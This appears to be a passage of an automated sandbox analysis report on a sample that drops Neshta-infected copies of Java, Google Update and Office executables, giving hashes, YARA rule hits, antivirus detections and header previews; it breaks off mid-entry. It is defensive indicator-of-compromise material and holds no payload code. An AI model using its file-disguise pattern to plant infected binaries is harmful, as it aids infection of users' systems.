Yara Hits:	Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Common Files\Java\Java Update\jucheck.exe, Author: Joe Security Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Common Files\Java\Java Update\jucheck.exe, Author: ditekSHen Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Common Files\Java\Java Update\jucheck.exe, Author: ditekSHen Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Common Files\Java\Java Update\jucheck.exe, Author: ditekSHen
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t......................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Common Files\Java\Java Update\jusched.exe

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	790096
Entropy (8bit):	6.746361102520175
Encrypted:	false
SSDEEP:	12288:/MvcR0D0B6PyxoxIlZwM+R6R4uFjs1Z7FMN0TzJqccvbXkN58AuimIh:TR0gB6axoCfyR6RLQRF/TzJqe58BimIh
MD5:	CC11EF3CDA871E739075E19C7E011FFB
SHA1:	C0B20B62646FB9C3C3AAA61BA6D806AAE86FC93B
SHA-256:	5F4334AE0F8BB573E6179BABD9C7DF94C0FA33A081390FEE7C04DDBEF1CE5BC4
SHA-512:	4DF027A3FF53C549AE181C43BDA619460A373E96564B448C74EEFA5ECD820A39B51C763FA5FDCCED1939CF900E51826E5D6087272E91DD95629E2C7615B268E0
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Common Files\Java\Java Update\jusched.exe, Author: Joe Security Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Common Files\Java\Java Update\jusched.exe, Author: ditekSHen
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t......................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE16\LICLUA.EXE

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	562776
Entropy (8bit):	6.434910305077969
Encrypted:	false
SSDEEP:	6144:k9H0dzerObMhDGJ9UM3sunrXj9BMHmD1tYFLqY/W5R02qO7VKCy7KCzDSEBPj:peqbWqB3sunrT9+aYFLq3ny7JSEBPj
MD5:	AAFEB56FD7F7B3864CE0172C11BFFC87
SHA1:	8628FEF6AA9346B4CA3E0534632AC831DA737C15
SHA-256:	8620ED2307EE8B35B5109D765F8BFBF8FDC2CF5D451E52706F9C5C2A13248609
SHA-512:	16BD91F2F348D6FB6B35AD47225B9CF80AD0EC5D0BEB0AEEF7D84D9CE164DCE23DBAE529CCCEC7CD6577E115935D93913DCF6446C92499C96BA11E986271E5FE
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE16\LICLUA.EXE, Author: Joe Security Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE16\LICLUA.EXE, Author: ditekSHen
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t......................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Common Files\Microsoft Shared\VSTO\10.0\VSTOInstaller.exe

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	127512
Entropy (8bit):	6.339948095606413
Encrypted:	false
SSDEEP:	3072:sr85CqPo10JOSdnvEhEyr1hg9uCRFRzsxeZ:k9qg1MOc81hmRFJs0Z
MD5:	1307001D8EECE24439EE9F2E353163CA
SHA1:	0D5EC348BFB5B53CF8A0AEE1FD325BA0BAC476B2
SHA-256:	D5842746263ED287CEFF18A1C03D784AEB007D7BF63D6548C324B21FE7B6F3D5
SHA-512:	5A23D430C6117CC2467E2FBA4935829EED4752A6F10F2AEE81C66B239567BC3A3F2822D3A039AE450CF5CC89F27FED2E1EFCC8260D5A650AD3570671D65B247A
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Common Files\Microsoft Shared\VSTO\10.0\VSTOInstaller.exe, Author: Joe Security Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Common Files\Microsoft Shared\VSTO\10.0\VSTOInstaller.exe, Author: ditekSHen
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t......................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\java.exe

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	299136
Entropy (8bit):	6.791456127636419
Encrypted:	false
SSDEEP:	6144:k9/0LYbH0QQchx73BeFStIhEWDoZvynCMj+TwW:G0EbH0j4x7R6SvyCMqn
MD5:	7663DA5345AED4E2CE3AE00F1569BAD3
SHA1:	10BF6A77F04B10292030C2456066EB519A4F50A0
SHA-256:	14093EE670E445270AD20D7451E89F37B7E8335C5EC73460A0154232852BA3C6
SHA-512:	1F8E1BEFA7E2462CA5C0DEB8756DF7B8FFD71D82F09FA0B93EF9CA2D32CACB21688713F5AFA8053B9F83463E9253D428818AA9334202ACB147A608827E4027F1
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\java.exe, Author: Joe Security Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\java.exe, Author: ditekSHen Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\java.exe, Author: ditekSHen Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\java.exe, Author: ditekSHen
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t......................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaw.exe

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	299136
Entropy (8bit):	6.793867878392893
Encrypted:	false
SSDEEP:	6144:k9/lXCs7zYA9xiNFiVg7s/uDoeBvhI7W6w9:GlXCs/YAh/elvhI7Wd
MD5:	BB0E7591812BC27C3D6D3DA565AF925B
SHA1:	BCF62126B5381B32D7C614EFDFA30CF7F385463D
SHA-256:	F251861114A4932B3AE9FDC95524EED50D2BD6DBE1E498C48FAE4BD095D4BD7F
SHA-512:	EA133EB067DC32BE2EE47D1BC50CE77FA87DA2379CA5991EDB837EAED7BCE9BDAAA179A7997220E0D8520926F846D998948B92607DA330128D74B1E000E8E1A5
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaw.exe, Author: Joe Security Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaw.exe, Author: ditekSHen
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t......................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaws.exe

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	437888
Entropy (8bit):	6.42684511221715
Encrypted:	false
SSDEEP:	12288:GGNKdHVnfiMB7yIL+5IyoiYv5jPaeTmJWIvDxT9ULX8PCM:9KiBLZ05jNTmJWExixM
MD5:	2607BC5BE23EF6AFA96E1B243164745B
SHA1:	50B602076CB054022A35790FDCF0512CA1D9B68D
SHA-256:	EE438CBF24A8CC6303A4930BD3D84EA306C350A92384F3705364058BECAB050A
SHA-512:	59C7C4CF7B43726B774A4BE770B5B02573EDBE035C3DEAC909EC3230A1A05A2E2D6814F08F9D81F9E86433748082D1A04B914C7444585D90D511C348C8367D33
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaws.exe, Author: Joe Security Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaws.exe, Author: ditekSHen
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t......................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler.exe

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	343328
Entropy (8bit):	6.646237652723173
Encrypted:	false
SSDEEP:	6144:k9zkTpB8HHvBjruphfgesnAhAOQp2EwckjQx+m8zhPLlZp3:OklinJruphfg26p2Ewix+m8Nln3
MD5:	E08B11A49D68A60193D50788A23FEEC1
SHA1:	5348D03F4BE33DE456F7E319C1F0F0DD2B281881
SHA-256:	AD46D94722B50EED787512D44634295F8EAC6AB5851F75CC14B40DB095D18244
SHA-512:	F397CA818F0F9902DC4111D240C6CE0E29B75477B4571D89BE9F4BEC2144AFE6E1BECC6058E3701B18C0090BF2FA15C8153173C024203655A3D757572E7E6DF5
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler.exe, Author: Joe Security Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler.exe, Author: ditekSHen
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t......................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler64.exe

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	443680
Entropy (8bit):	6.399332197842204
Encrypted:	false
SSDEEP:	12288:r3gaHC2zUM2WJoROZVXk8hbodzbaw8x0Cx+wnx:rx5k8hb0Haw+x5x
MD5:	BFEF6D485809D5E865C0CE57F5C30761
SHA1:	67C6C40D604D094508A7A54B2C1B984D6B284B16
SHA-256:	AF62AE439BF04032F161BE6720D989A4CF6D79F74916849D06F1118B77303B70
SHA-512:	7F1715A1CAC7CFD1AC321F70DB92E1255DE06E6B98BD8D05F84219C729714DFAFA2C15B12CA55F5A3F7AE93FD53B74927D29F4627F27BCA7E65BC3D925A61912
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler64.exe, Author: Joe Security Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler64.exe, Author: ditekSHen Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler64.exe, Author: ditekSHen Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler64.exe, Author: ditekSHen
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t......................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdate.exe

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	203552
Entropy (8bit):	6.1365331355493
Encrypted:	false
SSDEEP:	3072:sr85C8aKavT/DvbEvK9aobNI2B+Nl4jz+b0atWH1TmFtotpcat8iKdlVST31OK8I:k98aK2h9H/B+rEtiPC
MD5:	3F7B572F1D8E16AEB92DD112EA5DDCBD
SHA1:	FE399BE4D0126B73A2F1793B205D75F52923913F
SHA-256:	617E36E5B66F2D8C2CB7534E883744EF115F2F1EC8B8210FAD308E21338A78E6
SHA-512:	B5E7D7601A159DEE555A0E98D0D7D0A1BD2EAB68931C8520AC8965B2C05FFFB66D0320EA79713645A4991017A1D753E68F01267311B1C35AD86BE9731D3102E6
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdate.exe, Author: Joe Security Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdate.exe, Author: ditekSHen
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t......................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateBroker.exe

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	149792
Entropy (8bit):	6.511104209826025
Encrypted:	false
SSDEEP:	3072:sr85CV4vzT+PjZpsB+2h+EOXkMxJ7Rfp8K172YPrp:k9npsB+09zMH7cCxPd
MD5:	931BA0AB474211B6F6F46DF9D2685396
SHA1:	46B754C10E0CE63693C1E0C243A180E980CCE688
SHA-256:	37AC3DD2183C224D3E32A772FBA419CB1B63E591C5DF6FA69A15989DA9B2C582
SHA-512:	2E9913BEAECC96FC9BB5BA270B819B7D3FDA82BE9AFF739C294D74A3C0ED7D706A7584D872221B864C3297CAB8C9300FE4DED15A40DA0F687D8E1DB1D60A18FA
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateBroker.exe, Author: Joe Security Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateBroker.exe, Author: ditekSHen
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t......................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateComRegisterShell64.exe

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	227104
Entropy (8bit):	6.237873657819261
Encrypted:	false
SSDEEP:	6144:k9AWt9h8QlLISZWVRohcq7dvni3F8QrBA/:Hy9hdFIdRoGUxi35rBU
MD5:	19AFE8347886BC20E0AE3FF3168E4A33
SHA1:	C75BF52D95EFB4C1A07F0D55D7A25B765B366087
SHA-256:	58D82570BEE9757A3615789DF93384BC28C77D4F0E60796C0A845265FDB0BADA
SHA-512:	6FE092C3AEB098BC26AF41E64EAD35381C7E49BEECB1847A1DF7DBDBE2449E0826D888B49F099E28C3A752013BA9E7D0DDF256A8B3A57F3A60248A467CB2DACF
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateComRegisterShell64.exe, Author: Joe Security Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateComRegisterShell64.exe, Author: ditekSHen
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t......................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateCore.exe

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	264480
Entropy (8bit):	6.6429855049099995
Encrypted:	false
SSDEEP:	6144:k9YwCtJmRqyFmB6AOKmiMGwIAfx+iQ+FfFyLgG1da6edo:1w6JmRI6Bitwpx+iQafFykG1da6edo
MD5:	9E4A1877CD2731B9DFCE6E0FCD7B5037
SHA1:	45E966F9EF775DD94339782C3374597AA7BC17D0
SHA-256:	224C2EE088EB5EA5D06DA228AB575A704FCF2328B3EB60613983236B13B5CD70
SHA-512:	7A7A6185F7590B1C5BEB2D16DA1FF14BFF15E6EE5BF185562B1588E32F112765BAF20D84892C85299DCD2C1F7127950D78EB3D10EDE6C45727D1D737F022F8BF
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateCore.exe, Author: Joe Security Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateCore.exe, Author: ditekSHen
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t......................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateOnDemand.exe

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	149792
Entropy (8bit):	6.511488043303241
Encrypted:	false
SSDEEP:	3072:sr85CZ4qR8vSZksB+2hdqecER5AhC48S1m2YPrZ:k9HksB+0YlEXAe6QPt
MD5:	1F18312D69028EEB0E96580CBD36232A
SHA1:	E90EB0E84B9D3693EEECAC1979E736802D7AA181
SHA-256:	DD6FC425C8F737BA5054624F638AB7B4ECCCFE3A6A14C1DDF11FDE34B928557F
SHA-512:	487A3C9E58C51210EAC60866105E1E3A6C1F1B9BE39BB958EFDC635D2D7BB7F382E7AC3500CF40B2B83DA16986B1B8982E79E51C452901AB9848AE80666A1B26
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateOnDemand.exe, Author: Joe Security Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateOnDemand.exe, Author: ditekSHen
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t......................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Java\jre-1.8\bin\java.exe

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	299136
Entropy (8bit):	6.791456127636419
Encrypted:	false
SSDEEP:	6144:k9/0LYbH0QQchx73BeFStIhEWDoZvynCMj+TwW:G0EbH0j4x7R6SvyCMqn
MD5:	7663DA5345AED4E2CE3AE00F1569BAD3
SHA1:	10BF6A77F04B10292030C2456066EB519A4F50A0
SHA-256:	14093EE670E445270AD20D7451E89F37B7E8335C5EC73460A0154232852BA3C6
SHA-512:	1F8E1BEFA7E2462CA5C0DEB8756DF7B8FFD71D82F09FA0B93EF9CA2D32CACB21688713F5AFA8053B9F83463E9253D428818AA9334202ACB147A608827E4027F1
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t......................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Java\jre-1.8\bin\javacpl.exe

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	135808
Entropy (8bit):	6.396186166703023
Encrypted:	false
SSDEEP:	1536:JxqjQ+P04wsmJC/rmKmGyeVK7qjh3rmKPNbS7cZPxyqPEoCW/ids8nBs+s8nBs8m:sr85C/q4yutjZqMNbSgxbFrj8m
MD5:	2DE190CF047A78DBCAB6E2216701D2BC
SHA1:	9B490C017D00BD20562225FC684D426F44EE3C76
SHA-256:	266452E14A03BE6D5B3CB049E5BBEA4C4787B4C18289FBAA212DFD8B1227B3C1
SHA-512:	E1D62E8CFC1F441ED08ABDE8CD996EDE7636E48E67E0B1787A9CD0865C8885C1D56E736803BB20773EFD98768ADDCDB79C1489912F5D01E5BFAB231394D552FB
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Java\jre-1.8\bin\javacpl.exe, Author: Joe Security Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Java\jre-1.8\bin\javacpl.exe, Author: ditekSHen
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t......................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	299136
Entropy (8bit):	6.793867878392893
Encrypted:	false
SSDEEP:	6144:k9/lXCs7zYA9xiNFiVg7s/uDoeBvhI7W6w9:GlXCs/YAh/elvhI7Wd
MD5:	BB0E7591812BC27C3D6D3DA565AF925B
SHA1:	BCF62126B5381B32D7C614EFDFA30CF7F385463D
SHA-256:	F251861114A4932B3AE9FDC95524EED50D2BD6DBE1E498C48FAE4BD095D4BD7F
SHA-512:	EA133EB067DC32BE2EE47D1BC50CE77FA87DA2379CA5991EDB837EAED7BCE9BDAAA179A7997220E0D8520926F846D998948B92607DA330128D74B1E000E8E1A5
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t......................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Java\jre-1.8\bin\javaws.exe

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	437888
Entropy (8bit):	6.42684511221715
Encrypted:	false
SSDEEP:	12288:GGNKdHVnfiMB7yIL+5IyoiYv5jPaeTmJWIvDxT9ULX8PCM:9KiBLZ05jNTmJWExixM
MD5:	2607BC5BE23EF6AFA96E1B243164745B
SHA1:	50B602076CB054022A35790FDCF0512CA1D9B68D
SHA-256:	EE438CBF24A8CC6303A4930BD3D84EA306C350A92384F3705364058BECAB050A
SHA-512:	59C7C4CF7B43726B774A4BE770B5B02573EDBE035C3DEAC909EC3230A1A05A2E2D6814F08F9D81F9E86433748082D1A04B914C7444585D90D511C348C8367D33
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t......................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Java\jre-1.8\bin\jp2launcher.exe

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	163456
Entropy (8bit):	6.282119597857022
Encrypted:	false
SSDEEP:	3072:sr85CQ446dewltB2mNd/HOrveW1dexk834fRZ5Nyc:k9Q446d7T/H4X
MD5:	6CAFDAA62D8747DE46D3034200B28419
SHA1:	939138E4EE0DE785F062DBDF928465EEB2653510
